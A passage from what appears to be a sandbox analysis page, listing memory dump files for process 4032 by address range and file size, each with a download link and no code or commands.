Filesize
64KB

Download
memory/4032-31-0x0000000004780000-0x0000000004790000-memory.dmp

Filesize
64KB

Download
memory/4032-60-0x0000000004780000-0x0000000004790000-memory.dmp

Filesize
64KB

Download
memory/4032-58-0x0000000007010000-0x0000000007086000-memory.dmp

Filesize
472KB

Download
memory/4032-83-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/4032-77-0x0000000007660000-0x0000000007703000-memory.dmp

Filesize
652KB

Download
memory/4032-65-0x000000006E4C0000-0x000000006E50C000-memory.dmp

Filesize
304KB

Download
memory/4032-56-0x00000000062A0000-0x00000000062E4000-memory.dmp

Filesize
272KB

Download
memory/4032-29-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/4032-63-0x000000007FD30000-0x000000007FD40000-memory.dmp

Filesize
64KB

Download
memory/4032-79-0x0000000007DF0000-0x0000000007E01000-memory.dmp

Filesize
68KB

Download
memory/4032-64-0x0000000007620000-0x0000000007652000-memory.dmp

Filesize
200KB

Download
memory/4032-46-0x00000000057F0000-0x0000000005B44000-memory.dmp

Filesize
3.3MB

Download
memory/4032-80-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/4032-66-0x000000006E630000-0x000000006E984000-memory.dmp

Filesize
3.3MB

Download
memory/4032-76-0x0000000007600000-0x000000000761E000-memory.dmp

Filesize
120KB

Download
memory/4032-78-0x0000000007DE0000-0x0000000007DEA000-memory.dmp

Filesize
40KB

Download